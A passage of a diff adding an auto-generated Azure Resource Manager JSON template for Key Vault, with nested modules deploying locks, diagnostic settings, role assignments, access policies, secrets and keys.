parameters('name'))]", + "name": "[coalesce(tryGet(parameters('lock'), 'name'), format('lock-{0}', parameters('name')))]", + "properties": { + "level": "[coalesce(tryGet(parameters('lock'), 'kind'), '')]", + "notes": "[if(equals(tryGet(parameters('lock'), 'kind'), 'CanNotDelete'), 'Cannot delete resource or child resources.', 'Cannot delete or modify the resource or child resources.')]" + }, + "dependsOn": [ + "keyVault" + ] + }, + "keyVault_diagnosticSettings": { + "copy": { + "name": "keyVault_diagnosticSettings", + "count": "[length(coalesce(parameters('diagnosticSettings'), createArray()))]" + }, + "type": "Microsoft.Insights/diagnosticSettings", + "apiVersion": "2021-05-01-preview", + "scope": "[format('Microsoft.KeyVault/vaults/{0}', parameters('name'))]", + "name": "[coalesce(tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'name'), format('{0}-diagnosticSettings', parameters('name')))]", + "properties": { + "copy": [ + { + "name": "metrics", + "count": "[length(coalesce(tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'metricCategories'), createArray(createObject('category', 'AllMetrics'))))]", + "input": { + "category": "[coalesce(tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'metricCategories'), createArray(createObject('category', 'AllMetrics')))[copyIndex('metrics')].category]", + "enabled": "[coalesce(tryGet(coalesce(tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'metricCategories'), createArray(createObject('category', 'AllMetrics')))[copyIndex('metrics')], 'enabled'), true())]", + "timeGrain": null + } + }, + { + "name": "logs", + "count": "[length(coalesce(tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'logCategoriesAndGroups'), createArray(createObject('categoryGroup', 'allLogs'))))]", + "input": { + "categoryGroup": "[tryGet(coalesce(tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'logCategoriesAndGroups'), createArray(createObject('categoryGroup', 'allLogs')))[copyIndex('logs')], 'categoryGroup')]", + "category": "[tryGet(coalesce(tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'logCategoriesAndGroups'), createArray(createObject('categoryGroup', 'allLogs')))[copyIndex('logs')], 'category')]", + "enabled": "[coalesce(tryGet(coalesce(tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'logCategoriesAndGroups'), createArray(createObject('categoryGroup', 'allLogs')))[copyIndex('logs')], 'enabled'), true())]" + } + } + ], + "storageAccountId": "[tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'storageAccountResourceId')]", + "workspaceId": "[tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'workspaceResourceId')]", + "eventHubAuthorizationRuleId": "[tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'eventHubAuthorizationRuleResourceId')]", + "eventHubName": "[tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'eventHubName')]", + "marketplacePartnerId": "[tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'marketplacePartnerResourceId')]", + "logAnalyticsDestinationType": "[tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'logAnalyticsDestinationType')]" + }, + "dependsOn": [ + "keyVault" + ] + }, + "keyVault_roleAssignments": { + "copy": { + "name": "keyVault_roleAssignments", + "count": "[length(coalesce(parameters('roleAssignments'), createArray()))]" + }, + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "scope": "[format('Microsoft.KeyVault/vaults/{0}', parameters('name'))]", + "name": "[guid(resourceId('Microsoft.KeyVault/vaults', parameters('name')), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].principalId, coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName)]", + "properties": { + "roleDefinitionId": "[if(contains(variables('builtInRoleNames'), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName), variables('builtInRoleNames')[coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName], if(contains(coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName, '/providers/Microsoft.Authorization/roleDefinitions/'), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName, subscriptionResourceId('Microsoft.Authorization/roleDefinitions', coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName)))]", + "principalId": "[coalesce(parameters('roleAssignments'), createArray())[copyIndex()].principalId]", + "description": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'description')]", + "principalType": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'principalType')]", + "condition": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'condition')]", + "conditionVersion": "[if(not(empty(tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'condition'))), coalesce(tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'conditionVersion'), '2.0'), null())]", + "delegatedManagedIdentityResourceId": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'delegatedManagedIdentityResourceId')]" + }, + "dependsOn": [ + "keyVault" + ] + }, + "keyVault_accessPolicies": { + "condition": "[not(empty(parameters('accessPolicies')))]", + "type": "Microsoft.Resources/deployments", + "apiVersion": "2022-09-01", + "name": "[format('{0}-KeyVault-AccessPolicies', uniqueString(deployment().name, parameters('location')))]", + "properties": { + "expressionEvaluationOptions": { + "scope": "inner" + }, + "mode": "Incremental", + "parameters": { + "keyVaultName": { + "value": "[parameters('name')]" + }, + "accessPolicies": { + "value": "[parameters('accessPolicies')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "languageVersion": "2.0", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.26.54.24096", + "templateHash": "10878813547461142217" + }, + "name": "Key Vault Access Policies", + "description": "This module deploys a Key Vault Access Policy.", + "owner": "Azure/module-maintainers" + }, + "definitions": { + "accessPoliciesType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "tenantId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The tenant ID that is used for authenticating requests to the key vault." + } + }, + "objectId": { + "type": "string", + "metadata": { + "description": "Required. The object ID of a user, service principal or security group in the tenant for the vault." + } + }, + "applicationId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Application ID of the client making request on behalf of a principal." + } + }, + "permissions": { + "type": "object", + "properties": { + "keys": { + "type": "array", + "allowedValues": [ + "all", + "backup", + "create", + "decrypt", + "delete", + "encrypt", + "get", + "getrotationpolicy", + "import", + "list", + "purge", + "recover", + "release", + "restore", + "rotate", + "setrotationpolicy", + "sign", + "unwrapKey", + "update", + "verify", + "wrapKey" + ], + "nullable": true, + "metadata": { + "description": "Optional. Permissions to keys." + } + }, + "secrets": { + "type": "array", + "allowedValues": [ + "all", + "backup", + "delete", + "get", + "list", + "purge", + "recover", + "restore", + "set" + ], + "nullable": true, + "metadata": { + "description": "Optional. Permissions to secrets." + } + }, + "certificates": { + "type": "array", + "allowedValues": [ + "all", + "backup", + "create", + "delete", + "deleteissuers", + "get", + "getissuers", + "import", + "list", + "listissuers", + "managecontacts", + "manageissuers", + "purge", + "recover", + "restore", + "setissuers", + "update" + ], + "nullable": true, + "metadata": { + "description": "Optional. Permissions to certificates." + } + }, + "storage": { + "type": "array", + "allowedValues": [ + "all", + "backup", + "delete", + "deletesas", + "get", + "getsas", + "list", + "listsas", + "purge", + "recover", + "regeneratekey", + "restore", + "set", + "setsas", + "update" + ], + "nullable": true, + "metadata": { + "description": "Optional. Permissions to storage accounts." + } + } + }, + "metadata": { + "description": "Required. Permissions the identity has for keys, secrets and certificates." + } + } + } + }, + "nullable": true + } + }, + "parameters": { + "keyVaultName": { + "type": "string", + "metadata": { + "description": "Conditional. The name of the parent key vault. Required if the template is used in a standalone deployment." + } + }, + "accessPolicies": { + "$ref": "#/definitions/accessPoliciesType", + "metadata": { + "description": "Optional. An array of 0 to 16 identities that have access to the key vault. All identities in the array must use the same tenant ID as the key vault's tenant ID." + } + } + }, + "variables": { + "copy": [ + { + "name": "formattedAccessPolicies", + "count": "[length(coalesce(parameters('accessPolicies'), createArray()))]", + "input": { + "applicationId": "[coalesce(tryGet(coalesce(parameters('accessPolicies'), createArray())[copyIndex('formattedAccessPolicies')], 'applicationId'), '')]", + "objectId": "[coalesce(parameters('accessPolicies'), createArray())[copyIndex('formattedAccessPolicies')].objectId]", + "permissions": "[coalesce(parameters('accessPolicies'), createArray())[copyIndex('formattedAccessPolicies')].permissions]", + "tenantId": "[coalesce(tryGet(coalesce(parameters('accessPolicies'), createArray())[copyIndex('formattedAccessPolicies')], 'tenantId'), tenant().tenantId)]" + } + } + ] + }, + "resources": { + "keyVault": { + "existing": true, + "type": "Microsoft.KeyVault/vaults", + "apiVersion": "2022-07-01", + "name": "[parameters('keyVaultName')]" + }, + "policies": { + "type": "Microsoft.KeyVault/vaults/accessPolicies", + "apiVersion": "2022-07-01", + "name": "[format('{0}/{1}', parameters('keyVaultName'), 'add')]", + "properties": { + "accessPolicies": "[variables('formattedAccessPolicies')]" + }, + "dependsOn": [ + "keyVault" + ] + } + }, + "outputs": { + "resourceGroupName": { + "type": "string", + "metadata": { + "description": "The name of the resource group the access policies assignment was created in." + }, + "value": "[resourceGroup().name]" + }, + "name": { + "type": "string", + "metadata": { + "description": "The name of the access policies assignment." + }, + "value": "add" + }, + "resourceId": { + "type": "string", + "metadata": { + "description": "The resource ID of the access policies assignment." + }, + "value": "[resourceId('Microsoft.KeyVault/vaults/accessPolicies', parameters('keyVaultName'), 'add')]" + } + } + } + }, + "dependsOn": [ + "keyVault" + ] + }, + "keyVault_secrets": { + "copy": { + "name": "keyVault_secrets", + "count": "[length(variables('secretList'))]" + }, + "type": "Microsoft.Resources/deployments", + "apiVersion": "2022-09-01", + "name": "[format('{0}-KeyVault-Secret-{1}', uniqueString(deployment().name, parameters('location')), copyIndex())]", + "properties": { + "expressionEvaluationOptions": { + "scope": "inner" + }, + "mode": "Incremental", + "parameters": { + "name": { + "value": "[variables('secretList')[copyIndex()].name]" + }, + "value": { + "value": "[variables('secretList')[copyIndex()].value]" + }, + "keyVaultName": { + "value": "[parameters('name')]" + }, + "attributesEnabled": { + "value": "[tryGet(variables('secretList')[copyIndex()], 'attributesEnabled')]" + }, + "attributesExp": { + "value": "[tryGet(variables('secretList')[copyIndex()], 'attributesExp')]" + }, + "attributesNbf": { + "value": "[tryGet(variables('secretList')[copyIndex()], 'attributesNbf')]" + }, + "contentType": { + "value": "[tryGet(variables('secretList')[copyIndex()], 'contentType')]" + }, + "tags": { + "value": "[coalesce(tryGet(variables('secretList')[copyIndex()], 'tags'), parameters('tags'))]" + }, + "roleAssignments": { + "value": "[tryGet(variables('secretList')[copyIndex()], 'roleAssignments')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "languageVersion": "2.0", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.26.54.24096", + "templateHash": "1877278864243602204" + }, + "name": "Key Vault Secrets", + "description": "This module deploys a Key Vault Secret.", + "owner": "Azure/module-maintainers" + }, + "definitions": { + "roleAssignmentType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "roleDefinitionIdOrName": { + "type": "string", + "metadata": { + "description": "Required. The role to assign. You can provide either the display name of the role definition, the role definition GUID, or its fully qualified ID in the following format: '/providers/Microsoft.Authorization/roleDefinitions/c2f4ef07-c644-48eb-af81-4b1b4947fb11'." + } + }, + "principalId": { + "type": "string", + "metadata": { + "description": "Required. The principal ID of the principal (user/group/identity) to assign the role to." + } + }, + "principalType": { + "type": "string", + "allowedValues": [ + "Device", + "ForeignGroup", + "Group", + "ServicePrincipal", + "User" + ], + "nullable": true, + "metadata": { + "description": "Optional. The principal type of the assigned principal ID." + } + }, + "description": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The description of the role assignment." + } + }, + "condition": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The conditions on the role assignment. This limits the resources it can be assigned to. e.g.: @Resource[Microsoft.Storage/storageAccounts/blobServices/containers:ContainerName] StringEqualsIgnoreCase \"foo_storage_container\"." + } + }, + "conditionVersion": { + "type": "string", + "allowedValues": [ + "2.0" + ], + "nullable": true, + "metadata": { + "description": "Optional. Version of the condition." + } + }, + "delegatedManagedIdentityResourceId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The Resource Id of the delegated managed identity resource." + } + } + } + }, + "nullable": true + } + }, + "parameters": { + "keyVaultName": { + "type": "string", + "metadata": { + "description": "Conditional. The name of the parent key vault. Required if the template is used in a standalone deployment." + } + }, + "name": { + "type": "string", + "metadata": { + "description": "Required. The name of the secret." + } + }, + "tags": { + "type": "object", + "nullable": true, + "metadata": { + "description": "Optional. Resource tags." + } + }, + "attributesEnabled": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Determines whether the object is enabled." + } + }, + "attributesExp": { + "type": "int", + "nullable": true, + "metadata": { + "description": "Optional. Expiry date in seconds since 1970-01-01T00:00:00Z. For security reasons, it is recommended to set an expiration date whenever possible." + } + }, + "attributesNbf": { + "type": "int", + "nullable": true, + "metadata": { + "description": "Optional. Not before date in seconds since 1970-01-01T00:00:00Z." + } + }, + "contentType": { + "type": "securestring", + "nullable": true, + "metadata": { + "description": "Optional. The content type of the secret." + } + }, + "value": { + "type": "securestring", + "metadata": { + "description": "Required. The value of the secret. NOTE: \"value\" will never be returned from the service, as APIs using this model are is intended for internal use in ARM deployments. Users should use the data-plane REST service for interaction with vault secrets." + } + }, + "roleAssignments": { + "$ref": "#/definitions/roleAssignmentType", + "metadata": { + "description": "Optional. Array of role assignments to create." + } + } + }, + "variables": { + "builtInRoleNames": { + "Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b24988ac-6180-42a0-ab88-20f7382dd24c')]", + "Key Vault Administrator": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '00482a5a-887f-4fb3-b363-3b7fe8e74483')]", + "Key Vault Certificates Officer": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'a4417e6f-fecd-4de8-b567-7b0420556985')]", + "Key Vault Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'f25e0fa2-a7c8-4377-a976-54943a77a395')]", + "Key Vault Crypto Officer": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '14b46e9e-c2b7-41b4-b07b-48a6ebf60603')]", + "Key Vault Crypto Service Encryption User": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'e147488a-f6f5-4113-8e2d-b22465e65bf6')]", + "Key Vault Crypto User": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '12338af0-0e69-4776-bea7-57ae8d297424')]", + "Key Vault Reader": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '21090545-7ca7-4776-b22c-e363652d74d2')]", + "Key Vault Secrets Officer": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b86a8fe4-44ce-4948-aee5-eccb2c155cd7')]", + "Key Vault Secrets User": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '4633458b-17de-408a-b874-0445c86b69e6')]", + "Owner": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", + "Reader": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'acdd72a7-3385-48ef-bd42-f606fba81ae7')]", + "Role Based Access Control Administrator (Preview)": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'f58310d9-a9f6-439a-9e8d-f62e7b41a168')]", + "User Access Administrator": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '18d7d88d-d35e-4fb5-a5c3-7773c20a72d9')]" + } + }, + "resources": { + "keyVault": { + "existing": true, + "type": "Microsoft.KeyVault/vaults", + "apiVersion": "2022-07-01", + "name": "[parameters('keyVaultName')]" + }, + "secret": { + "type": "Microsoft.KeyVault/vaults/secrets", + "apiVersion": "2022-07-01", + "name": "[format('{0}/{1}', parameters('keyVaultName'), parameters('name'))]", + "tags": "[parameters('tags')]", + "properties": { + "contentType": "[parameters('contentType')]", + "attributes": { + "enabled": "[parameters('attributesEnabled')]", + "exp": "[parameters('attributesExp')]", + "nbf": "[parameters('attributesNbf')]" + }, + "value": "[parameters('value')]" + }, + "dependsOn": [ + "keyVault" + ] + }, + "secret_roleAssignments": { + "copy": { + "name": "secret_roleAssignments", + "count": "[length(coalesce(parameters('roleAssignments'), createArray()))]" + }, + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "scope": "[format('Microsoft.KeyVault/vaults/{0}/secrets/{1}', parameters('keyVaultName'), parameters('name'))]", + "name": "[guid(resourceId('Microsoft.KeyVault/vaults/secrets', parameters('keyVaultName'), parameters('name')), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].principalId, coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName)]", + "properties": { + "roleDefinitionId": "[if(contains(variables('builtInRoleNames'), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName), variables('builtInRoleNames')[coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName], if(contains(coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName, '/providers/Microsoft.Authorization/roleDefinitions/'), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName, subscriptionResourceId('Microsoft.Authorization/roleDefinitions', coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName)))]", + "principalId": "[coalesce(parameters('roleAssignments'), createArray())[copyIndex()].principalId]", + "description": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'description')]", + "principalType": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'principalType')]", + "condition": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'condition')]", + "conditionVersion": "[if(not(empty(tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'condition'))), coalesce(tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'conditionVersion'), '2.0'), null())]", + "delegatedManagedIdentityResourceId": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'delegatedManagedIdentityResourceId')]" + }, + "dependsOn": [ + "secret" + ] + } + }, + "outputs": { + "name": { + "type": "string", + "metadata": { + "description": "The name of the secret." + }, + "value": "[parameters('name')]" + }, + "resourceId": { + "type": "string", + "metadata": { + "description": "The resource ID of the secret." + }, + "value": "[resourceId('Microsoft.KeyVault/vaults/secrets', parameters('keyVaultName'), parameters('name'))]" + }, + "resourceGroupName": { + "type": "string", + "metadata": { + "description": "The name of the resource group the secret was created in." + }, + "value": "[resourceGroup().name]" + } + } + } + }, + "dependsOn": [ + "keyVault" + ] + }, + "keyVault_keys": { + "copy": { + "name": "keyVault_keys", + "count": "[length(coalesce(parameters('keys'), createArray()))]" + }, + "type": "Microsoft.Resources/deployments", + "apiVersion": "2022-09-01", + "name": "[format('{0}-KeyVault-Key-{1}', uniqueString(deployment().name, parameters('location')), copyIndex())]", + "properties": { + "expressionEvaluationOptions": { + "scope": "inner" + }, + "mode": "Incremental", + "parameters": { + "name": { + "value": "[coalesce(parameters('keys'), createArray())[copyIndex()].name]" + }, + "keyVaultName": { + "value": "[parameters('name')]" + }, + "attributesEnabled": { + "value": "[tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'attributesEnabled')]" + }, + "attributesExp": { + "value": "[tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'attributesExp')]" + }, + "attributesNbf": { + "value": "[tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'attributesNbf')]" + }, + "curveName": { + "value": "[coalesce(tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'curveName'), 'P-256')]" + }, + "keyOps": { + "value": "[tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'keyOps')]" + }, + "keySize": { + "value": "[tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'keySize')]" + }, + "kty": { + "value": "[coalesce(tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'kty'), 'EC')]" + }, + "tags": { + "value": "[coalesce(tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'tags'), parameters('tags'))]" + }, + "roleAssignments": { + "value": "[tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'roleAssignments')]" + }, + "rotationPolicy": { + "value": "[tryGet(coalesce(parameters('keys'), createArray())[copyIndex()], 'rotationPolicy')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "languageVersion": "2.0", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.26.54.24096", + "templateHash": "5903918450419813264" + }, + "name": "Key Vault Keys", + "description": "This module deploys a Key Vault Key.", + "owner": "Azure/module-maintainers" + }, + "definitions": { + "roleAssignmentType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "roleDefinitionIdOrName": { + "type": "string", + "metadata": { + "description": "Required. The role to assign. You can provide either the display name of the role definition, the role definition GUID, or its fully qualified ID in the following format: '/providers/Microsoft.Authorization/roleDefinitions/c2f4ef07-c644-48eb-af81-4b1b4947fb11'." + } + }, + "principalId": { + "type": "string", + "metadata": { + "description": "Required. The principal ID of the principal (user/group/identity) to assign the role to." + } + }, + "principalType": { + "type": "string", + "allowedValues": [ + "Device", + "ForeignGroup", + "Group", + "ServicePrincipal", + "User" + ], + "nullable": true, + "metadata": { + "description": "Optional. The principal type of the assigned principal ID." + } + }, + "description": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The description of the role assignment." + } + }, + "condition": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The conditions on the role assignment. This limits the resources it can be assigned to. e.g.: @Resource[Microsoft.Storage/storageAccounts/blobServices/containers:ContainerName] StringEqualsIgnoreCase \"foo_storage_container\"." + } + }, + "conditionVersion": { + "type": "string", + "allowedValues": [ + "2.0" + ], + "nullable": true, + "metadata": { + "description": "Optional. Version of the condition." + } + }, + "delegatedManagedIdentityResourceId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The Resource Id of the delegated managed identity resource." + } + } + } + }, + "nullable": true + } + }, + "parameters": { + "keyVaultName": { + "type": "string", + "metadata": { + "description": "Conditional. The name of the parent key vault. Required if the template is used in a standalone deployment." + } + }, + "name": { + "type": "string", + "metadata": { + "description": "Required. The name of the key." + } + }, + "tags": { + "type": "object", + "nullable": true, + "metadata": { + "description": "Optional. Resource tags." + } + }, + "attributesEnabled": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Determines whether the object is enabled." + } + }, + "attributesExp": { + "type": "int", + "nullable": true, + "metadata": { + "description": "Optional. Expiry date in seconds since 1970-01-01T00:00:00Z. For security reasons, it is recommended to set an expiration date whenever possible." + } + }, + "attributesNbf": { + "type": "int", + "nullable": true, + "metadata": { + "description": "Optional. Not before date in seconds since 1970-01-01T00:00:00Z." + } + }, + "curveName": { + "type": "string", + "defaultValue": "P-256", + "allowedValues": [ + "P-256", + "P-256K", + "P-384", + "P-521" + ], + "metadata": { + "description": "Optional. The elliptic curve name." + } + }, + "keyOps": { + "type": "array", + "nullable": true, + "allowedValues": [ + "decrypt", + "encrypt", + "import", + "sign", + "unwrapKey", + "verify", + "wrapKey" + ], + "metadata": { + "description": "Optional. Array of JsonWebKeyOperation." + } + }, + "keySize": { + "type": "int", + "nullable": true, + "metadata": { + "description": "Optional. The key size in bits. For example: 2048, 3072, or 4096 for RSA." + } + }, + "kty": { + "type": "string", + "defaultValue": "EC", + "allowedValues": [ + "EC", + "EC-HSM", + "RSA", + "RSA-HSM" + ], + "metadata": { + "description": "Optional. The type of the key." + } + }, + "roleAssignments": { + "$ref": "#/definitions/roleAssignmentType", + "metadata": { + "description": "Optional. Array of role assignments to create." + } + }, + "rotationPolicy": { + "type": "object", + "nullable": true, + "metadata": { + "description": "Optional. Key rotation policy properties object." + } + } + }, + "variables": { + "builtInRoleNames": { + "Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b24988ac-6180-42a0-ab88-20f7382dd24c')]", + "Key Vault Administrator": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '00482a5a-887f-4fb3-b363-3b7fe8e74483')]", + "Key Vault Certificates Officer": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'a4417e6f-fecd-4de8-b567-7b0420556985')]", + "Key Vault Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'f25e0fa2-a7c8-4377-a976-54943a77a395')]", + "Key Vault Crypto Officer": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '14b46e9e-c2b7-41b4-b07b-48a6ebf60603')]", + "Key Vault Crypto Service Encryption User": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'e147488a-f6f5-4113-8e2d-b22465e65bf6')]", + "Key Vault Crypto User": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '12338af0-0e69-4776-bea7-57ae8d297424')]", + "Key Vault Reader": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '21090545-7ca7-4776-b22c-e363652d74d2')]", + "Key Vault Secrets Officer": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b86a8fe4-44ce-4948-aee5-eccb2c155cd7')]", + "Key Vault Secrets User": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '4633458b-17de-408a-b874-0445c86b69e6')]", + "Owner": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", + "Reader": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'acdd72a7-3385-48ef-bd42-f606fba81ae7')]", + "Role Based Access Control Administrator (Preview)": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'f58310d9-a9f6-439a-9e8d-f62e7b41a168')]", + "User Access Administrator": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '18d7d88d-d35e-4fb5-a5c3-7773c20a72d9')]" + } + }, + "resources": { + "keyVault": { + "existing": true, + "type": "Microsoft.KeyVault/vaults", + "apiVersion": "2022-07-01", + "name": "[parameters('keyVaultName')]" + }, + "key": { + "type": "Microsoft.KeyVault/vaults/keys", + "apiVersion": "2022-07-01", + "name": "[format('{0}/{1}', parameters('keyVaultName'), parameters('name'))]", + "tags": "[parameters('tags')]", + "properties": { + "attributes": { + "enabled": "[parameters('attributesEnabled')]", + "exp": "[parameters('attributesExp')]", + "nbf": "[parameters('attributesNbf')]" + }, + "curveName": "[parameters('curveName')]", + "keyOps": "[parameters('keyOps')]", + "keySize": "[parameters('keySize')]", + "kty": "[parameters('kty')]", + "rotationPolicy": "[parameters('rotationPolicy')]" + }, + "dependsOn": [ + "keyVault" + ] + }, + "key_roleAssignments": { + "copy": { + "name": "key_roleAssignments", + "count": "[length(coalesce(parameters('roleAssignments'), createArray()))]" + }, + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "scope": "[format('Microsoft.KeyVault/vaults/{0}/keys/{1}', parameters('keyVaultName'), parameters('name'))]", + "name": "[guid(resourceId('Microsoft.KeyVault/vaults/keys', parameters('keyVaultName'), parameters('name')), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].principalId, coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName)]", + "properties": { + "roleDefinitionId": "[if(contains(variables('builtInRoleNames'), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName), variables('builtInRoleNames')[coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName], if(contains(coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName, '/providers/Microsoft.Authorization/roleDefinitions/'), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName, subscriptionResourceId('Microsoft.Authorization/roleDefinitions', coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName)))]", + "principalId": "[coalesce(parameters('roleAssignments'), createArray())[copyIndex()].principalId]", + "description": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'description')]", + "principalType": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'principalType')]", + "condition": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'condition')]", + "conditionVersion": "[if(not(empty(tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'condition'))), coalesce(tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'conditionVersion'), '2.0'), null())]", + "delegatedManagedIdentityResourceId": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'delegatedManagedIdentityResourceId')]" + }, + "dependsOn": [ + "key" + ] + } + }, + "outputs": { + "name": { + "type": "string", + "metadata": { + "description": "The name of the key." + }, + "value": "[parameters('name')]" + }, + "resourceId": { + "type": "string", + "metadata": { + "description": "The resource ID of the key." + }, + "value": "[resourceId('Microsoft.KeyVault/vaults/keys', parameters('keyVaultName'), parameters('name'))]" + }, + "resourceGroupName": { + "type": "string", + "metadata": { + "description": "The name of the resource group the key was created in." + }, + "value": "[resourceGroup().name]" + } + } + } + }, + "dependsOn": [ + "keyVault" + ] + }, + 